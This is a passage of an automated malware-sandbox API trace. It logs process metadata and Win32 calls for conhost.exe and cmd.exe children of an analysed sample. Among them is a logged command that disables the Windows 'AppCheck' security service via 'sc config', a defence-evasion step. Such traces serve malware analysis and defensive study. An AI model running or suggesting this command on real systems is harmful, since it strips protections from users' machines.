dwSize=0x0, dwFreeType=0x8000) returned 1 [0222.649] FreeLibrary (hLibModule=0x772d0000) returned 1 [0222.649] LocalFree (hMem=0xa18188) returned 0x0 [0222.649] FreeLibrary (hLibModule=0x772d0000) returned 1 [0222.649] LocalFree (hMem=0xa18198) returned 0x0 [0222.649] ExitProcess (uExitCode=0x0) Thread: id = 26 os_tid = 0xb00 Thread: id = 27 os_tid = 0x3e0 Thread: id = 28 os_tid = 0x5a4 Thread: id = 29 os_tid = 0x908 Thread: id = 30 os_tid = 0x42c Thread: id = 205 os_tid = 0x10e0 Thread: id = 206 os_tid = 0x1214 Thread: id = 208 os_tid = 0xa50 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x58a2000" os_pid = "0xd54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xac0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0xd68 Thread: id = 22 os_tid = 0xd7c Thread: id = 23 os_tid = 0xb50 Thread: id = 24 os_tid = 0xa94 Thread: id = 25 os_tid = 0xe08 Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1f73e000" os_pid = "0xf58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xac0" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 31 os_tid = 0xf68 [0146.727] GetModuleHandleA (lpModuleName=0x0) returned 0xa70000 [0146.727] __set_app_type (_Type=0x1) [0146.727] __p__fmode () returned 0x776f3c14 [0146.727] __p__commode () returned 0x776f49ec [0146.727] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa86fd0) returned 0x0 [0146.728] __getmainargs (in: _Argc=0xa9d1a4, _Argv=0xa9d1a8, _Env=0xa9d1ac, _DoWildCard=0, _StartInfo=0xa9d1b8 | out: _Argc=0xa9d1a4, _Argv=0xa9d1a8, _Env=0xa9d1ac) returned 0 [0146.728] _onexit (_Func=0xa88030) returned 0xa88030 [0146.728] _onexit (_Func=0xa88040) returned 0xa88040 [0146.728] _onexit (_Func=0xa88050) returned 0xa88050 [0146.728] _onexit (_Func=0xa88060) returned 0xa88060 [0146.728] _onexit (_Func=0xa88070) returned 0xa88070 [0146.753] _onexit (_Func=0xa88080) returned 0xa88080 [0146.753] GetCurrentThreadId () returned 0xf68 [0146.753] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf68) returned 0xbc [0146.754] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0146.754] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadUILanguage") returned 0x772e4f70 [0146.754] SetThreadUILanguage (LangId=0x0) returned 0x2f90409 [0146.887] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0146.887] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ff9e0 | out: phkResult=0x30ff9e0*=0x0) returned 0x2 [0146.888] VirtualQuery (in: lpAddress=0x30ff9eb, lpBuffer=0x30ff998, dwLength=0x1c | out: lpBuffer=0x30ff998*(BaseAddress=0x30ff000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0146.888] VirtualQuery (in: lpAddress=0x3000000, lpBuffer=0x30ff998, dwLength=0x1c | out: lpBuffer=0x30ff998*(BaseAddress=0x3000000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0146.888] VirtualQuery (in: lpAddress=0x3001000, lpBuffer=0x30ff998, dwLength=0x1c | out: lpBuffer=0x30ff998*(BaseAddress=0x3001000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0146.888] VirtualQuery (in: lpAddress=0x3003000, lpBuffer=0x30ff998, dwLength=0x1c | out: lpBuffer=0x30ff998*(BaseAddress=0x3003000, AllocationBase=0x3000000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0146.888] VirtualQuery (in: lpAddress=0x3100000, lpBuffer=0x30ff998, dwLength=0x1c | out: lpBuffer=0x30ff998*(BaseAddress=0x3100000, AllocationBase=0x3100000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0146.888] GetConsoleOutputCP () returned 0x1b5 [0147.005] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xaa3850 | out: lpCPInfo=0xaa3850) returned 1 [0147.005] SetConsoleCtrlHandler (HandlerRoutine=0xa97260, Add=1) returned 1 [0147.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.005] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xaa388c | out: lpMode=0xaa388c) returned 1 [0147.099] _get_osfhandle (_FileHandle=0) returned 0x8c [0147.099] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xaa3888 | out: lpMode=0xaa3888) returned 1 [0147.408] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.408] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0147.502] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.502] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xaa3890 | out: lpMode=0xaa3890) returned 1 [0147.594] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.594] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0147.688] _get_osfhandle (_FileHandle=0) returned 0x8c [0147.688] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xaa3894 | out: lpMode=0xaa3894) returned 1 [0147.693] _get_osfhandle (_FileHandle=0) returned 0x8c [0147.693] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0147.695] GetEnvironmentStringsW () returned 0x3204c98* [0147.695] GetProcessHeap () returned 0x3200000 [0147.695] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xaca) returned 0x3205770 [0147.695] FreeEnvironmentStringsA (penv="A") returned 1 [0147.695] GetProcessHeap () returned 0x3200000 [0147.695] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x4) returned 0x3204750 [0147.695] GetEnvironmentStringsW () returned 0x3204c98* [0147.695] GetProcessHeap () returned 0x3200000 [0147.695] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xaca) returned 0x3206248 [0147.695] FreeEnvironmentStringsA (penv="A") returned 1 [0147.695] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30fe93c | out: phkResult=0x30fe93c*=0xcc) returned 0x0 [0147.695] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x0, lpData=0x30fe948*=0xc5, lpcbData=0x30fe940*=0x1000) returned 0x2 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x1, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x0, lpData=0x30fe948*=0x1, lpcbData=0x30fe940*=0x1000) returned 0x2 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x0, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x40, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x40, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x0, lpData=0x30fe948*=0x40, lpcbData=0x30fe940*=0x1000) returned 0x2 [0147.696] RegCloseKey (hKey=0xcc) returned 0x0 [0147.696] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30fe93c | out: phkResult=0x30fe93c*=0xcc) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x0, lpData=0x30fe948*=0x40, lpcbData=0x30fe940*=0x1000) returned 0x2 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x1, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x0, lpData=0x30fe948*=0x1, lpcbData=0x30fe940*=0x1000) returned 0x2 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x0, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x9, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x4, lpData=0x30fe948*=0x9, lpcbData=0x30fe940*=0x4) returned 0x0 [0147.696] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30fe944, lpData=0x30fe948, lpcbData=0x30fe940*=0x1000 | out: lpType=0x30fe944*=0x0, lpData=0x30fe948*=0x9, lpcbData=0x30fe940*=0x1000) returned 0x2 [0147.696] RegCloseKey (hKey=0xcc) returned 0x0 [0147.696] time (in: timer=0x0 | out: timer=0x0) returned 0x5eac9493 [0147.696] srand (_Seed=0x5eac9493) [0147.696] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" [0147.697] malloc (_Size=0x4000) returned 0x35921f0 [0147.697] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" [0147.697] malloc (_Size=0xffce) returned 0x35a0048 [0147.697] ??_V@YAXPAX@Z () returned 0x30ff920 [0147.698] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x35a0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0147.952] malloc (_Size=0xffce) returned 0x35b0020 [0147.952] ??_V@YAXPAX@Z () returned 0x30ff6f4 [0147.952] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x35b0020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0147.952] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0147.953] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0147.953] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0147.953] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0147.953] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0147.953] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0147.953] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0147.953] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0147.953] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0147.953] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0147.953] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0147.953] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0147.953] GetProcessHeap () returned 0x3200000 [0147.953] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3205770) returned 1 [0147.953] GetEnvironmentStringsW () returned 0x3204c98* [0147.953] GetProcessHeap () returned 0x3200000 [0147.953] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xae2) returned 0x3207810 [0147.953] FreeEnvironmentStringsA (penv="A") returned 1 [0147.954] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0147.954] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0147.954] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0147.954] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0147.954] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0147.954] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0147.954] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0147.954] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0147.954] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0147.954] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0147.954] malloc (_Size=0xffce) returned 0x35bfff8 [0147.954] ??_V@YAXPAX@Z () returned 0x30ff48c [0147.954] GetProcessHeap () returned 0x3200000 [0147.954] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x38) returned 0x32047e8 [0147.955] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x35bfff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0147.955] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x35bfff8, lpFilePart=0x30ff4d8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x30ff4d8*="Desktop") returned 0x17 [0147.955] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0147.955] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30ff258 | out: lpFindFileData=0x30ff258*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3204828 [0147.955] FindClose (in: hFindFile=0x3204828 | out: hFindFile=0x3204828) returned 1 [0147.955] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x30ff258 | out: lpFindFileData=0x30ff258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x3204828 [0147.956] FindClose (in: hFindFile=0x3204828 | out: hFindFile=0x3204828) returned 1 [0147.956] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x30ff258 | out: lpFindFileData=0x30ff258*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3f3b05fd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3f3b05fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3204828 [0147.956] FindClose (in: hFindFile=0x3204828 | out: hFindFile=0x3204828) returned 1 [0147.956] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0147.956] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0147.956] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0147.956] GetProcessHeap () returned 0x3200000 [0147.956] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3207810) returned 1 [0147.956] GetEnvironmentStringsW () returned 0x3204c98* [0147.956] GetProcessHeap () returned 0x3200000 [0147.956] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xb1a) returned 0x3206d20 [0147.956] FreeEnvironmentStringsA (penv="=") returned 1 [0147.956] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x35a0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0147.956] GetProcessHeap () returned 0x3200000 [0147.956] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x32047e8) returned 1 [0147.956] ??_V@YAXPAX@Z () returned 0x1 [0147.956] ??_V@YAXPAX@Z () returned 0x1 [0147.956] GetProcessHeap () returned 0x3200000 [0147.956] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x400e) returned 0x3208e28 [0147.957] GetProcessHeap () returned 0x3200000 [0147.957] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x54) returned 0x32047e8 [0147.957] GetProcessHeap () returned 0x3200000 [0147.957] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3208e28) returned 1 [0147.957] GetConsoleOutputCP () returned 0x1b5 [0148.040] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xaa3850 | out: lpCPInfo=0xaa3850) returned 1 [0148.041] GetUserDefaultLCID () returned 0x409 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xa9f82c, cchData=8 | out: lpLCData=":") returned 2 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30ff848, cchData=128 | out: lpLCData="0") returned 2 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30ff848, cchData=128 | out: lpLCData="0") returned 2 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30ff848, cchData=128 | out: lpLCData="1") returned 2 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xa9f81c, cchData=8 | out: lpLCData="/") returned 2 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xa9f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xa9f778, cchData=32 | out: lpLCData="Tue") returned 4 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xa9f738, cchData=32 | out: lpLCData="Wed") returned 4 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xa9f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xa9f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xa9f678, cchData=32 | out: lpLCData="Sat") returned 4 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xa9f638, cchData=32 | out: lpLCData="Sun") returned 4 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xa9f80c, cchData=8 | out: lpLCData=".") returned 2 [0148.041] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xa9f7f8, cchData=8 | out: lpLCData=",") returned 2 [0148.041] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0148.043] GetProcessHeap () returned 0x3200000 [0148.043] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x0, Size=0x20c) returned 0x3207848 [0148.043] GetConsoleTitleW (in: lpConsoleTitle=0x3207848, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0148.049] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0148.050] GetProcAddress (hModule=0x772d0000, lpProcName="CopyFileExW") returned 0x772e4330 [0148.050] GetProcAddress (hModule=0x772d0000, lpProcName="IsDebuggerPresent") returned 0x772e5930 [0148.050] GetProcAddress (hModule=0x772d0000, lpProcName="SetConsoleInputExeNameW") returned 0x74d009d0 [0148.050] ??_V@YAXPAX@Z () returned 0x1 [0148.050] GetProcessHeap () returned 0x3200000 [0148.050] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x400a) returned 0x3208e28 [0148.050] GetProcessHeap () returned 0x3200000 [0148.050] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3208e28) returned 1 [0148.051] _wcsicmp (_String1="sc", _String2=")") returned 74 [0148.051] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0148.051] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0148.051] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0148.051] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0148.051] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0148.051] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0148.051] GetProcessHeap () returned 0x3200000 [0148.051] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x58) returned 0x3207a60 [0148.051] GetProcessHeap () returned 0x3200000 [0148.051] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xe) returned 0x3204890 [0148.051] GetProcessHeap () returned 0x3200000 [0148.051] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x4c) returned 0x3207ac0 [0148.052] GetConsoleTitleW (in: lpConsoleTitle=0x30ff740, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0148.052] malloc (_Size=0xffce) returned 0x35b2620 [0148.053] ??_V@YAXPAX@Z () returned 0x30ff4cc [0148.053] malloc (_Size=0xffce) returned 0x35c25f8 [0148.053] ??_V@YAXPAX@Z () returned 0x30ff284 [0148.054] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0148.054] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0148.054] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0148.054] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0148.054] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0148.054] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0148.054] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0148.054] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0148.054] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0148.054] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0148.054] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0148.054] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0148.054] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0148.054] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0148.054] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0148.054] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0148.054] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0148.054] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0148.054] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0148.054] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0148.054] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0148.054] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0148.055] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0148.055] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0148.055] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0148.055] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0148.055] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0148.055] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0148.055] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0148.055] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0148.055] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0148.055] _wcsicmp (_String1="sc", _String2="START") returned -17 [0148.055] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0148.055] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0148.055] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0148.055] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0148.055] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0148.055] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0148.055] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0148.055] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0148.055] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0148.055] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0148.055] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0148.055] _wcsicmp (_String1="sc", _String2="ERASE") 